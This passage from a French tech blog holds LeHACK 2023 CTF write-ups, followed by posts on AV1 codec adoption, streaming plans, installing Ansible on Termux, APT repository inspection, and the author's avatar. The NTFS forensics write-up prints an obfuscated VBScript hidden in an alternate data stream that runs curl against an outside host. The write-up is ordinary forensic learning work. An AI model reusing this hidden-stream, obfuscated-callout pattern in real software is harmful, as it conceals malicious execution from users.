En effet, la mĂȘme image va servir Ă  un deuxiĂšme challenge, dont j’ai zappĂ© de noter la description, mais qui Ă©tait classĂ© dans la catĂ©gorie « Stega Â». La stĂ©ganographie, on le rappelle, consiste Ă  cacher une information dans un format inhabituel, le plus souvent une image.

Et ça tombe bien, vu qu’on a une image ! Je vous la fait courte, l’outil le plus adaptĂ© ici est zsteg, qui va extraire tout ce qu’il peut comme chaines de caractĂšres, et parmi elles :

Charlie is in Paris (without Emily)

  •  

Writeup #LeHACK 2023, Suspicious NTFS drive

J’ai adorĂ© le faire celui-lĂ , c’est d’ailleurs le dernier, et il rapportait pas mal de points, alors qu’au final il Ă©tait plus long que compliquĂ© (on va pas se plaindre hein). MĂȘme si derriĂšre, j’ai pas tout compris sur le façon dont c’était possible 🙂

Le nom ne laisse que peu de doute sur le sujet du challenge, et la description nous le confirme :

Our SOC analyst observed a log containing :

wscript.exe E:\firefox.exe:security_?????.vbs

What’s happening here ? We retrived the file system with this command :

$ sudo dd if=/dev/sda3 of=./suspicious_ntfs_drive.img bs=1M

flag format suivant : vbs filename, external IP, external port: leHACK{filename.vbs_IP_port}

Mais surprise, quand on monte l’image qu’ils nous ont fourni, on ne voit qu’un seul et unique binaire de 4Mo appelĂ© firefox.exe. Pas chaud pour tenter de l’exĂ©cuter (si tant est que c’est possible), on se tourne vers d’autres pistes. Pour analyser des images de partitions NTFS, c’est trĂšs vite une suite d’outils appelĂ©e Sleuth Kit qui revient. PremiĂšre Ă©tape, fls :

fls suspicious_ntfs_drive.img 
r/r 4-128-1:	$AttrDef
r/r 8-128-2:	$BadClus
r/r 8-128-1:	$BadClus:$Bad
r/r 6-128-1:	$Bitmap
r/r 7-128-1:	$Boot
d/d 11-144-2:	$Extend
r/r 2-128-1:	$LogFile
r/r 0-128-1:	$MFT
r/r 1-128-1:	$MFTMirr
r/r 9-128-2:	$Secure:$SDS
r/r 9-144-7:	$Secure:$SDH
r/r 9-144-4:	$Secure:$SII
r/r 10-128-1:	$UpCase
r/r 10-128-2:	$UpCase:$Info
r/r 3-128-3:	$Volume
r/r 34-128-1:	firefox.exe
r/r 34-128-3:	firefox.exe:security_launch.vbs
-/d * 31-144-1:	System Volume Information
-/r * 64-128-2:	security_launch.vbs
V/V 65:	$OrphanFiles

On voit donc notre firefox.exe, et en effet ce qui semble ĂȘtre un deuxiĂšme fichier .vbs qui Ă  premiĂšre vue correspond au format de la commande qu’on nous a donnĂ© dans la description, on a donc une partie du flag. Si on le voit, on doit pouvoir le rĂ©cupĂ©rer, mĂȘme si on l’a vu, en montant la partition ça ne donne rien. D’autres outils du Sleuth Kit vont nous aider, en particulier icat :

icat suspicious_ntfs_drive.img 34-128-3
Dim shl
Set shl = CreateObject("Wscript.Shell")
Dim dest
aaa = replace("hello","h","w")
bbb = StrReverse("86")
ccc = Right("90018000",4)
dest = "http://"+chr(49)+"93.1"+bbb+".1.42:"+ccc+"/dothethingzuulee"
Call shl.Run("""curl.exe"" "+dest)
Set shl = Nothing
WScript.Quit
'flaag=almostthere

Tiens, ça me rappelle quelques souvenirs de fichiers PHP obfusquĂ©s. En tout cas, on voit une URL et un port Ă  trouver, donc la suite de notre flag. Certes l’adresse IP demande un poil de boulot, pas trĂšs compliquĂ©, le rĂ©sultat est donc :

leHACK{security_launch.vbs_193.168.1.42_8000}

 

  •  

Writeup #LeHACK 2023, Cryptanga

Autre challenge rĂ©ussi pendant ce wargame LeHACK, petite rĂ©fĂ©rence Ă  un pays imaginaire, assez facile mĂȘme si j’avoue facilement que ça a Ă©tĂ© un peu le « ta gueule c’est magique Â».

La description du challenge est la suivante :

You intercept a message from the embassy of the country Cryptanga. Find out which transformation was used to encode this message, decode it and retrieve the secret code of the Cryptangian Ministry.

Le message brut est assez long, je préfÚre vous mettre le fichier en brut :

lh23_cryptanga

Au dĂ©but, j’ai pensĂ© Ă  du ROT, mais aucune variante n’a donnĂ© de rĂ©sultat. Et puis on m’a indiquĂ© qu’avec un site particulier qui s’appelle dcode.fr qui propose un « cipher identifier Â» qui nous indique du « Letters Bars Â», on peut ensuite dĂ©coder avec un autre outil du mĂȘme site. Je vous laisse tester, mais un passage du message en particulier nous donne la solution :

(...)VEUILLEZEGALEMENTLUIREMETTREUNPASSEPORTAVECLECODESECRETQWVMEGHPOURRENTRERDANSLESITEMINIER(...)

VoilĂ  notre solution : LeHACK{QWVMEGH}

  •  

Writeup #LeHACK 2023, scan-me

Je n’avais pas vraiment Ă©tĂ© rigoureux l’annĂ©e derniĂšre, et j’avais rien notĂ©. Cette annĂ©e, j’ai fait un peu mieux pour noter les Ă©lĂ©ments des challenges rĂ©ussis pendant le Wargame LeHACK 2023. On commence avec le plus facile, scan-me.

Peu de description, et une image Ă  rĂ©cupĂ©rer. Celle-ci contient non pas un mais deux QR-Codes, mais y’a un twist :

Le scan « extĂ©rieur Â» avec un tĂ©lĂ©phone donne le message suivant :

"Ou est le flag ?
Exclusivement "Au C3nTr3"

OK, on s’en doutait un peu, mais y’a un hic : le QR-Code central, il est pas complet. Pas de miracles, j’ai sorti The GIMP pour retoucher et rĂ©parer les coins du QR-Code. RĂ©sultat :

0D 10 00 05 5F 0F 33 52 56 32 01 1A 63 6B 43 1B 20 6C 0D 10 7F 10 5B 0B 26 1B 55 1E 11 45 1C 7F 49 31 01 43 20 16 45 62 12 64

À partir de lĂ , on a tous les Ă©lĂ©ments pour terminer, sauf quand on est un dĂ©bile comme moi qui n’utilise pas les bonnes options dans les bons outils. Reprenons le message, « Exclusivement Â» fait penser Ă  XOR. Et lĂ  oĂč j’ai perdu un temps fou, c’est que j’ai utilisĂ© CyberChef pour faire la transformation, sauf que je le faisais pas en mode ASCII (Latin1 ou UTF-8 mĂȘme combat je crois). Bref, quand on passe la clĂ© « Au C3nTr3 Â», ça donne :

X-OR_Le_Sherif_de_L'espace!!

 

  •  

AV1 : ça bouge enfin !

La derniĂšre fois que j’avais parlĂ© du super codec du futur, c’était y’a 4 ans, et je disais qu’il fallait attendre encore deux ans pour le voir dans le monde rĂ©el. Optimisme et Covid n’étant pas bons amis, il aura fallu pas mal de temps supplĂ©mentaire pour que ça se concrĂ©tise. Petit panel certainement non exhaustif, mais tout de mĂȘme


À l’époque, le codec venait de se montrer dans la lumiĂšre pour apparaĂźtre dans une premiĂšre version exploitable. Les ressources nĂ©cessaires aussi bien pour l’encodage que le dĂ©codage Ă©taient assez Ă©nervĂ©es, ce qui le rendait inutilisable ou presque dans la pratique en tout cas pour le cas le plus consommateur des usages de ces derniĂšres annĂ©es, le streaming vidĂ©o, que ce soit pour du contenu Ă  la demande ou en direct.

Le matĂ©riel Ă  la fĂȘte

Depuis, et donc avec le retard dĂ» au COVID, les choses ont quand mĂȘme fini par bouger. Dans le domaine du PC, les derniĂšres gĂ©nĂ©rations de GPU intĂšgrent non seulement des dĂ©codeurs AV1, mais surtout des encodeurs. La cible principale reste le streaming, et le logiciel de rĂ©fĂ©rence, OBS, supporte les trois fabricants principaux. Oui parce qu’entre temps, Intel est arrivĂ© dans le marchĂ© des cartes graphiques dĂ©diĂ©es, trĂšs tardivement il est vrai, avec les ARC, et si les performances brutes en jeu sont particuliĂšrement dĂ©cevantes surtout pour un produit qui a mis plus de deux ans Ă  sortir aprĂšs son annonce, les performances sur la partie encodage vidĂ©o, notamment si on utilise la petite 380, sont trĂšs intĂ©ressantes. Et ça d’autant plus qu’AMD et Nvidia se lĂąchent grave en ce moment avec des gammes complĂštement hors sol en termes de tarif et de consommation.

Source: Cowcotland

Ces capacitĂ©s de dĂ©codages sont aussi en dĂ©ploiement depuis deux ans dans plusieurs gammes de laptop, aussi bien ceux Ă©quipĂ©s en GPU dĂ©diĂ©s, Ă©videmment, qu’en GPU intĂ©grĂ©s. Et pour rester dans le domaine du logiciel, ça avance un peu partout Ă  petits pas, que ce soit sur un support purement logiciel via diffĂ©rents encodeurs disponibles tous open-source (c’est un peu une des bases de la philosophie du codec en mĂȘme temps), soit le support des encodeurs matĂ©riels qui sont peu Ă  peu disponible. j’évoquais OBS un peu plus tĂŽt, il n’est pas seul, et que ce soit des briques de base comme ffmpeg, libva ou des outils plus complets comme des outils de transcodage type Handbrake ou des Ă©diteurs vidĂ©o (DaVinci, Vegas, Premiere), les navigateurs web d’une maniĂšre ou d’une autre arrivent aussi petit Ă  petit Ă  lire le format via le matĂ©riel, bref, on est bien dĂ©sormais. Si tant est qu’on a le matĂ©riel pour Ă©videmment.

Le monde du smartphone aussi Ă  droit Ă  son support au moins en dĂ©codage dans la majoritĂ© des puces sorties depuis 2020, en tout cas celles pour des bidules Ă  plus de 400€, lĂ  oĂč les gammes se renouvellent le plus rapidement sur la partie SoC. Snapdragon, Dimensity, Exynos, Tensor, ils y passent tous. Raison pour laquelle Netflix diffuse en AV1 sur Android depuis deux ans maintenant dĂšs que possible. Les avantages attendus sont toujours lĂ  : consommation rĂ©duite Ă  qualitĂ© Ă©gale, donc Ă©conomie de rĂ©seau, et surtout, Ă©conomie en licences parce H264 et H265, ça coĂ»te une burne en tant que diffuseur. Ce mouvement sur les smartphones diffuse aussi dĂ©sormais Ă  tout le reste des gammes : lecteurs multimedia de salon, et surtout le nouveau cancer, Ă  savoir les smartTV qui sont pratiquement toutes sous Android. Mais lĂ  le flou est total, pour savoir ce qu’une TV a dans le ventre en pratique pour le support derriĂšre, c’est pas Ă©vident.

Un grand absent cependant : le Raspberry Pi. Le produit phare de la fondation est dans une situation compliquĂ©e : la production de la plus populaire des SBC est au plus bas depuis plus de deux ans, avec des consĂ©quences importantes sur les prix et surtout une disponibilitĂ© quasi inexistante. La fondation a fait le choix de privilĂ©gier des partenaires intĂ©grant les cartes dans leurs produits, souvent Ă  destination du monde industriel, Ă  rebours donc de la cible premiĂšre qu’est le monde de l’éducation, et par extension des bidouilleurs de tout poil. Et ces difficultĂ©s sur la version actuelle de la carte, qui ne supporte pas le format, a repoussĂ© les travaux sur la version future, que le patron a annoncĂ© ne pas sortir avant minimum 2024.

Le support chez les plateformes

Youtube propose dĂ©jĂ  de l’AV1 pour les rĂ©solutions QHD+, Netflix comme je l’ai dit l’utilise dĂšs que possible en particulier sur Android, Vimeo propose le codec depuis 2019 dĂ©jĂ . Un des plus gros acteurs par contre fait tĂąche : Twitch est particuliĂšrement en retard. La plateforme d’Amazon ne propose dĂ©jĂ  toujours pas de codec plus performant qu’H264, principalement pour des raisons de licences, et les fortes limites sur les dĂ©bits font que la qualitĂ© des streams s’en ressent dĂšs qu’on sort des point&clicks et des just chatting. Le H265 est fortement attendu, mais avec les GPU derniĂšre gĂ©nĂ©rations qui supportent tous l’encodage, qui sont mĂȘme relativement abordables pour les configurations de streams Ă  deux PC (les A380 sont vraiment trĂšs intĂ©ressantes sur ce point), ils pourraient directement proposer un passage Ă  l’AV1. En tout cas ça serait dans l’intĂ©rĂȘt de tout le monde.

Il manque Dailymotion !

BIG UPDATE : alors que je n’avais pas encore fini de mettre en forme l’article, le pavĂ© est tombĂ© dans la mare et va faire mal Ă  Twitch s’ils se rĂ©veillent pas bientĂŽt : Youtube a annoncĂ© prendre en charge le streaming en AV1, via RTMPS (parce que HLS c’est bien pour la lecture, mais sinon c’est pas ouf), et OBS 29.1 qui est sorti en beta dans la foulĂ©e va prendre en charge directement tout ça. Vu que le matĂ©riel pour les streamers est lĂ , c’est pas surprenant.

On est quand mĂȘme pas dĂ©barrassĂ© des brevets

Le retard pris sur le calendrier initial fait que le H265 a malheureusement eu le temps de s’infuser dans beaucoup trop de systĂšmes, le BluRay en tĂȘte. Certes ça devient un marchĂ© de niche, notamment pour la 4K/8K, mais le standard Bluray n’est pas prĂȘt d’évoluer pour exploiter le codec ouvert. Il reste aussi utilisĂ©, avec le grand frĂšre H264, pour les appareils/applications ne dĂ©codant pas l’AV1 nativement, et mĂȘme avec la disponibilitĂ© dĂ©sormais dans tous les secteurs le « grand remplacement Â» ce n’est pas pour demain. Le parc cĂŽtĂ© smartphones est assez imposant et va le rester pendant encore quelques paires d’annĂ©es malheureusement, Ă  moins d’avoir l’AV1 dans des puces pour smartphones Ă  pas cher trĂšs trĂšs rapidement; surtout que ce n’est jamais mis en avant donc pas un critĂšre d’achat ou de renouvellement pour les gens. Pareil pour le parc PC mĂȘme en matiĂšre de lecture uniquement, avant qu’on ait une majoritĂ© de matĂ©riel AV1-ready, il va s’en passer des annĂ©es, vu que mĂȘme les laptops savent encore durer longtemps et qu’il faut les remplacer entiĂšrement pour en bĂ©nĂ©ficier, contrairement aux PC de bureau ou juste la carte graphique a besoin d’un nouveau challenger. Pareil pour les appareils de salon, mĂȘme si les consoles rĂ©centes sont capables de s’en sortir logiciellement avec l’AV1, pas dit que le reste des lecteurs type player de box internet basculent rapidement vers un support intĂ©grĂ©; et une TV ça se change pas tous les deux ans, mĂȘme si les fabricants essaient de vous convaincre du contraire au mĂ©pris de toute considĂ©ration Ă©cologique. Sans parler que les chaĂźnes de tĂ©lĂ© classiques diffusĂ©es par ces biais continuent d’utiliser du H264


Mais c’est là !

Enfin, en tout cas, on y est, l’AV1 est une rĂ©alitĂ© tangible pour beaucoup de gens dĂ©sormais, Ă  l’instar de la fibre optique qui a enfin dĂ©collĂ© ces cinq derniĂšres annĂ©es. Certes avec son lot de problĂšmes sur la qualitĂ© de certaines installations notamment en agglomĂ©ration. C’est assez rare qu’une initiative aussi ouverte ait vu le jour, mĂȘme si ce n’est pas seulement pour des raisons techniques ou Ă©thiques mais bien financiĂšres et lĂ©gales, on ne va pas s’en plaindre ?

  •  

Et si on tentait le streaming ?

« Quoi, toi aussi tu veux faire comme tout le monde ? Â» Alors sur le principe de la diffusion en direct, oui, au moins tenter l’expĂ©rience; et si ça plaĂźt Ă  personne, tant pis, j’aurais essayĂ© au moins. Disons que j’ai envie de prendre un angle particulier, et qu’on va dĂ©tailler ça rapidement parce que ça tiendra pas dans un tweet/pouet 🙂

Oui, ce que je ferai en stream sera orientĂ© technique, administration systĂšme, dans une optique d’expĂ©rimentation/veille techno. C’est moins rare Ă  trouver comme format mais je me vois mal me lancer dans l’exercice en tentant de tailler des bouts de bois, j’ai beau avoir un double hĂ©ritage de menuisier, je n’ai pas beaucoup pratiquĂ© dans ma vie. Cela Ă©tant dit, s’il y a un constat que je fais depuis plus d’un an, c’est que je ne « bidouille Â» pratiquement plus, parce que le faire tout seul me fait chier, tout simplement. Certes je continue de lire beaucoup, beaucoup trop parfois, mais je ne pratique plus. Pourtant j’en vois passer des trucs qui pourraient me servir, aussi bien dans un contexte perso que pro, mais la procrastination extrĂȘme vantĂ©e dans ma bio Twitter n’est pas un mythe, loin de lĂ . Le faire en partageant m’intĂ©resse donc beaucoup pour « retrouver la flamme Â».

Peut-ĂȘtre pas Ă  ce point-lĂ  quand mĂȘme 🙂

Ça c’est l’aspect purement Ă©goĂŻste, mais il y a autre chose qui me manque et qui l’est moins : le partage. Il y a plusieurs choses que je n’ai pas rĂ©ussi ou cherchĂ© Ă  transmettre au travers du blog depuis ces presque 10 ans, en tout cas pas de maniĂšre explicite, c’est un Ă©tat d’esprit, une curiositĂ© qui permet de ne jamais rester sur place, aussi bien sur de nouvelles technos (outils, langages
) qu’à creuser plus profond celles qu’on a dĂ©jĂ  abordĂ©es en surface. Mais Ă©galement, un aspect « amateur Â» par lequel il ne faut pas avoir peur de passer, d’autant plus quand on dĂ©couvre un nouvel univers. Il ne sera pas question de tenter d’égaler le sĂ©rieux et la rigueur des stars dĂ©jĂ  en place ou montantes. Il s’agira de streams respectant une mĂ©thode que j’affectionne particuliĂšrement, oĂč il sera autant question de suivre un simple tuto que d’explorer des alternatives parce qu’on a pas le bon setup ou qu’on veut Ă©viter les trucs qui nous plaisent pas (non Docker n’est pas toujours le meilleur truc Ă  avoir pour dĂ©ployer un service).

Par exemple, j’ai envie de dĂ©marrer avec l’exploration d’une alternative Ă  Notion, suite Ă  un tweet que j’ai vu passer posant une question autour d’outils de ce genre. Le Mediawiki que j’ai installĂ© suite Ă  la perte des donnĂ©es du prĂ©cĂ©dent vps a dĂ©pannĂ© mais me convient moyennement Ă  l’ergonomie, ça sera l’occasion de vĂ©rifier si ce genre d’outil fera un remplaçant possible; voire aller au delĂ , puisqu’on parle d’organiseur de pensĂ©e, pratiquement. Il ne sera pas question de valider une vĂ©ritable installation, on sera peut-ĂȘtre amenĂ© Ă  faire des trucs vraiment pas recommandĂ©s en production, mais ça montrera aux moins aguerris comment mettre les mains dedans sans se faire peur. Mais il n’y a pas de contrainte forte non plus : si j’ai envie de tester un plus gros morceau, genre Peertube, il n’est pas dit qu’il n’aura pas droit Ă  une installation beaucoup plus propre dĂšs le dĂ©part, il n’y a pas de raison. En ce moment j’expĂ©rimente aussi l’utilisation de Rocky Linux 9. Avec mon focus professionnel sur Kubernetes, depuis quelques annĂ©es, j’ai un peu de retard dans la mise Ă  jour de mes connaissances de l’univers RedHat (SELinux !), donc exploiter des installations sur cet OS quand beaucoup de tutos vous bassinent avec Debian ou Ubuntu, ça peut ĂȘtre intĂ©ressant pour montrer les diffĂ©rences philosophiques entre les deux univers. Et oui, on Ă©chappera pas Ă  un peu de Kubernetes aussi parce que pourquoi pas 🙂

Non, on ne plongera pas trop lĂ -dedans, trop dĂ©primant 😀

Bref, on le voit, les idĂ©es ne manquent pas; et on peut mĂȘme tenter les vĂŽtres si ça attise ma curiositĂ©. Reste Ă  dĂ©cider quand, et oĂč : j’ai commencĂ© mon setup avec Youtube, donc on commencera lĂ -bas. Tout simplement parce que j’avais dĂ©jĂ  tout sous la main, dont le compte. Aussi parce que je voulais vĂ©rifier si je pouvais bien pousser du H265 avec un dĂ©bit correct sur mon gros PC, et c’est le cas, ce qu’on peut pas faire encore sur Twitch. Et je n’ai pas Ă  me demander si je dois enregistrer en plus de diffuser pour garder l’historique de la diffusion, YouTube le fait direct. Pour le quand, je me dis qu’un mardi ou mercredi soir serait pas mal, sachant que je vise des sessions d’une Ă  deux heures maximum, pour pas trop bassiner les gens. Quant Ă  la frĂ©quence, on peut tenter une fois par semaine, mais ça ne sera pas une rĂšgle absolue. Je vais essayer d’ĂȘtre bon Ă©lĂšve pour prĂ©venir/confirmer les occurrences Ă  la fois sur Twitter et Mastodon (lien dans le menu des Favoris, en attendant une meilleure intĂ©gration).

Alors, ça vous dit ?

  •  

Installer Ansible sur Android/Termux, ça reste chiant

Il y a quelques annĂ©es Cascador avait partagĂ© comment installer Ansible sur Android, via termux. Parce que dĂ©jĂ  Ă  l’époque c’était compliquĂ© en termes de compatibilitĂ©. On est en 2023 et j’ai pu passer une partie d’un trajet rĂ©cent en TGV (mon premier trajet en train en 10 ans) Ă  galĂ©rer pour refaire ça sur un Android 11. Comme quoi c’est toujours pas magique l’informatique.

Eh oui, naĂŻf comme je suis, j’ai pensĂ© qu’avec python 3 et un Android rĂ©cent, ça se passerait mieux, et qu’on serait pas obligĂ© d’utiliser une version dĂ©passĂ©e. C’était sans compter sur certaines dĂ©pendances, et notamment l’une d’entre elles qui est cryptography. Il s’avĂšre que cette dĂ©pendance compile du code Rust, et c’est cette compilation qui demande de l’attention.

Au dĂ©part, on fait comme d’habitude et on installe/update python. A noter que Python 3 Ă©tant le seul prĂ©sent, les packages s’appellent juste python-*. Donc on vĂ©rifie/installe python et python-pip, et on peut attaquer le travail :

mkdir ~/.venv
python -m venv ~/.venv/ansible
source ~/.venv.ansible/bin/activate
pip install -U pip wheel
pip install ansible

Et lĂ , PAF ! pendant la premiĂšre installation, cryptography me claque une erreur qui semble liĂ©e Ă  Rust (Ă©videmment, je n’ai pas pensĂ© Ă  conserver le log, mĂȘme pas une capture d’écran
). En fait, rust n’est tout simplement pas installĂ©, en mĂȘme temps on s’attend pas Ă  devoir compiler du Rust en installant un package python hein
 Donc on l’ajoute, et on en profite pour quelques dĂ©pendances en plus :

pkg install build-essentials openssl libffi rust

Mais ce n’est pas suffisant, nouvel essai, nouvel Ă©chec. Cette fois, ce sont les options de compilation de Rust qui demandent Ă  ĂȘtre adaptĂ©es. Fort heureusement, ça peut se faire avec des variables d’environnement. Dans mon cas, les deux suivantes Ă©taient requises :

export RUSTFLAGS="-C -lto=n"
export CARGO_BUILD_TARGET="aarch64-linux-android"

Et là, en relançant mon pip install ansible, il a fini par terminer la compilation et donc l’installation effective d’ansible.

Au passage je dĂ©conseille fortement de faire ce genre de choses pendant un dĂ©placement, le besoin d’accĂ©der au rĂ©seau de maniĂšre stable est loin d’ĂȘtre garanti et j’ai perdu un peu de temps avec des coupures spontanĂ©es de connexion pendant les installs de paquets, aussi bien de pkg/apt (parce que oui, pkg dans termux dans la pratique c’est apt), que de pip.

Bon Ă  savoir Ă©galement, starship est disponible directement dans les packages, je n’ai pas encore dĂ©ployĂ© ma config perso, mais c’est cool et moins chiant que de jouer avec asdf. MĂȘme si ça asdf fera partie des choses que je compte installer aussi dans mon environnement mobile 🙂

  •  

Recherche de contenu de repository sur Debian/Ubuntu

Ça fait longtemps que j’avais pas eu Ă  mettre les mains dans les coulisses du gestionnaire de paquet APT. D’ailleurs la derniĂšre fois que j’ai eu Ă  en parler ici, c’était en 2016, c’est dire. Mais grĂące Ă  mon super laptop de boulot sous Ubuntu, rĂ©cemment j’ai eu Ă  replonger dedans, du coup, on va voir ce qu’il en est.

Lors d’une mise Ă  jour hebdomadaire, je me suis pris une erreur sur de clĂ© GPG sur un dĂ©pot : https://apt.iteas.at/. Le site en question indique comment ajouter la nouvelle clĂ©, mais avant de l’ajouter, j’ai quand mĂȘme voulu chercher pourquoi ce dĂ©pĂŽt Ă©tait prĂ©sent en premier lieu. Une chose est sure, dĂ©jĂ , c’est pas installĂ© par les Ă©quipes info Accenture, c’est un ajout de mon cru. Mais ça ne m’avance pas plus que ça, l’historique de mon navigateur ne me donnant aucune piste particuliĂšre. Je me suis donc dit que je devais avoir les infos en local, Ă  savoir les infos des paquets installĂ©s.

Sans en discuter la pertinence ou les dangers, un des avantages des fichiers locaux d’apt est qu’ils sont en texte brut, et donc on peut les scanner avec des outils de bases dispo sur pratiquement toutes les distributions linux. En l’occurrence, c’est dans le dossier /var/lib/apt/lists qu’on va se rendre. On y trouve une sĂ©rie de fichiers pour chaque dĂ©pot rĂ©fĂ©rencĂ©, dans mon cas il se nomme apt.iteas.at_iteas_dists_focal_main_binary-amd64_Packages. Chaque paquet y est rĂ©fĂ©rencĂ© avec toute une sĂ©rie d’informations.

En l’occurrence, je cherche juste le nom, pour demander ensuite Ă  dpkg s’il est installĂ©. On remarque par contre qu’un nom de paquet peut apparaĂźtre plusieurs fois, car toutes les versions disponibles sont rĂ©fĂ©rencĂ©es. En triant un peu, on arrive vite Ă  un one-liner comme on aime les faire :

for i in $(grep "Package:" apt.iteas.at_iteas_dists_focal_main_binary-amd64_Packages |sort -n |uniq |awk '{print $2}'); do dpkg -l $i 2>/dev/null; done

Le rĂ©sultat de cette premiĂšre version mĂ©riterait un peu plus de traitement pour la lisibilitĂ©. La ligne du nom du paquet est prĂ©fixĂ©e par deux lettres pour indiquer le statut du paquet. Il suffit de chercher ceux qui sont avec « ii Â» :

for i in $(grep "Package:" apt.iteas.at_iteas_dists_focal_main_binary-amd64_Packages |sort -n |uniq |awk '{print $2}'); do dpkg -l $i 2>/dev/null | grep "ii"; done

ii keepassxc 2.6.4-1ppa1~focal1 amd64 KeePass Cross-Platform Community Edition
ii microsoft-edge-stable 109.0.1518.70-1 amd64 The web browser from Microsoft
ii openfortigui 0.9.8-1 amd64 GUI for openfortivpn
ii teams 1.5.00.23861 amd64 Microsoft Teams for Linux is your chat-centered workspace in Office 365.

Ok, du coup le souvenir m’est revenu. J’ai ajoutĂ© le dĂ©pĂŽt pour installer openfortigui, en suivant la documentation (Fortinet Ă©tant le VPN utilisĂ© par feu LinkByNet). Par contre, on voit dans les rĂ©sultats que KeepassXC, Teams et Edge sont dĂ©sormais « gĂ©rĂ©s Â» via ce dĂ©pĂŽt. Autant, pour KeepassXC, c’est pas si grave, mais pour Teams et Edge, j’ai dĂ©jĂ  les dĂ©pĂŽts Microsoft Ă  l’origine. Certes, dĂ©sormais le client Teams va ĂȘtre abandonnĂ© (au « profit Â» de la version web qui est une tannĂ©e Ă  utiliser au quotidien, et qui perd beaucoup trop de fonctions pour une appli de bureau – c’est pour ça que j’ai installĂ© Edge au dĂ©part d’ailleurs), mais c’est une surprise dont je me serais passĂ©.

  •  

La signification de mon avatar

Favicon du blog, Twitter, LinkedIn, Github, Gitlab, YouTube, NextInpact, Steam, et dĂ©sormais Mastodon, si vous me suivez quelque part vous n’ĂȘtes pas sans avoir que je suis fan d’un certain univers. Pourtant, Ă  la faveur d’une remarque sur l’effroi que peut gĂ©nĂ©rer cette image, je me rends compte que peu de gens comprennent sa signification. C’est subtil, Ă  l’image de ce que propose le premier volet cinĂ©matographique dudit univers.

VoilĂ  le message qui m’a un peu trigger, tout en souriant Ă©videmment devant le ton humoristique sur lequel il est Ă©crit :

Et il s’avĂšre que si j’ai pu partager de vive voix, notamment avec certains collĂšgues de boulot (oui je mets pas ma photo sur mon compte pro non plus :D), sur la subtilitĂ© de cet avatar, non seulement la rĂ©fĂ©rence du film n’est pas Ă©vident pour tout le monde, mais la signification de cet avatar en particulier l’est du coup encore moins. Il est donc temps de faire honneur Ă  cette image, dont l’utilisation s’avĂšre, on est d’accord, un poil tendancieuse sur le terrain du droit d’auteur.

The Matrix, un de mes films préférés, dans le Top 5

Le film est sorti en 1999, alors je pars du principe que la plupart l’ont vu. Si vous n’avez pas encore visionnĂ© ce chef d’Ɠuvre du cinĂ©ma de science-fiction (certains diraient presque d’anticipation, mais faut pas pousser), il me semble qu’il est possible de le voir sur Netflix, en location sur Amazon Prime – oui oui, en plus de l’abonnement qui vient d’augmenter de 20 balles – , ou en Bluray 4K dont je suis peu fan du traitement colorimĂ©trique dont il a fait l’objet, on verra pourquoi dans un instant. Et une fois que c’est visionnĂ©, revenez pour la suite. Ou si vous ĂȘtes motivĂ©s, vous vous pavez la trilogie, mais comme mon avatar fait rĂ©fĂ©rence au premier, tant que vous revenez, aprĂšs, hein


Oui, j’évite volontairement de parler de Resurrections – le 4 quoi -, c’est pour votre bien

Si vous vous en tapez un peu, pas grave, voici un petit rĂ©sumĂ©. Sorti de nulle part, Ă©crit et rĂ©alisĂ© par deux frangins (oui Ă  l’époque elles Ă©taient encore des hommes), dont c’est le deuxiĂšme film seulement, le film nous embarque dans un univers plus que dystopique, ou l’humanitĂ© sert de batteries pour des machines intelligentes, humanitĂ© au cerveau branchĂ© en direct dans une sorte d’open world ++, La Matrice, et dont tout est fait pour qu’ils restent « endormis Â» dans ce monde afin d’exploiter tout le potentiel Ă©lectrique jusqu’à leur mort. Certains se sont rĂ©veillĂ©s et enfuits, dĂ©branchĂ©s, reviennent de temps en temps dans ce monde comme des pirates pour tenter de rĂ©veiller toujours plus de personnes. Ces pirates mĂšnent aussi une guerre bien rĂ©elle cette fois en dehors du monde virtuel contre les machines qui exploitent l’énergie, machines qui tentent Ă©videmment de garder leur prĂ© carrĂ©, voire d’aller dĂ©busquer les humains oĂč ils se cachent pour les dĂ©truire.

Parmi ces pirates, l’un tente de trouver « l’élu Â», un mec ou une nana plus Ă©veillĂ©e que les autres et capable de dĂ©passer les rĂšgles du monde conçu par les machines, pouvant alors prendre l’avantage sur les machines depuis l’intĂ©rieur du systĂšme afin de libĂ©rer toute l’humanitĂ©. On passera sur l’aspect religieux Ă  peine voilĂ© de l’histoire (qui devient carrĂ©ment gĂȘnant dans le troisiĂšme film), pour revenir au chercheur d’or. Il s’appelle Morpheus, fait un peu office d’évangĂ©liste chez les humains – tout le monde ne croit pas forcĂ©ment en cette histoire d’Élu -, et c’est donc le personnage que l’on voit dans mon avatar. À un moment du film, Morpheus se fait capturer pour permettre Ă  Neo, qui est censĂ© ĂȘtre l’Élu (c’est pas encore clair pour les personnages encore Ă  ce moment-lĂ ), de s’échapper de la Matrice. Il est donc capturĂ©, toujours « branchĂ© Â» Ă  la Matrice, et torturĂ© par des « agents Â», sorte d’antivirus locaux, parce que le bougre Ă©tant un ponte dans le milieu des humains, il est censĂ© dĂ©tenir des codes d’accĂšs pour la seule citĂ© humaine bien loin dans les profondeurs du sol terrestre. Pour la suite et la fin du film, ben je vous laisse le regarder (ou lire le synopsis complet sur Wikipedia pour les plus flemmards).

La subtilité qui fait tout

Dans le film, la distinction entre le monde rĂ©el et la Matrice se fait principalement sur la colorimĂ©trie de l’image. Dans la Matrice, tout a une teinte un peu verdĂątre, et l’image est ultra propre et lumineuse. Dans le monde rĂ©el au contraire, c’est bleu, voire gris, et beaucoup plus sombre. Il serait difficile de faire autrement puisqu’on apprend que dans la guerre contre les machines, Ă  une Ă©poque oĂč humains et machines vivaient uniquement d’énergie solaire, les humains ont salopĂ© toute l’atmosphĂšre pour plonger le monde dans une nuit Ă©ternelle. D’oĂč la solution des machines de se servir des humains directement, pas folles les guĂȘpes 😉

Bref, pendant le fameux interrogatoire, Morpheus est donc, dans le monde rĂ©el, allongĂ© sur son fauteuil de dentiste, la tĂȘte branchĂ©e Ă  un ordinateur pour le plonger dans la Matrice, et c’est dans cette Matrice que son esprit est attaquĂ© pour lui faire cracher les fameux codes. Donc cette image de torture avec les Ă©lectrodes dans le film, vous la voyez en vert, ce qui traduit donc une lutte pour Ă©chapper au monde virtuel, en tout cas Ă  ses geĂŽliers. Mais mon avatar, vous l’aurez compris, n’est pas teintĂ© de vert, mais bien teintĂ© de bleu, et avec la grille de lecture de la scĂšne, on peut penser que Morpheus essaie cette fois d’échapper au monde rĂ©el.

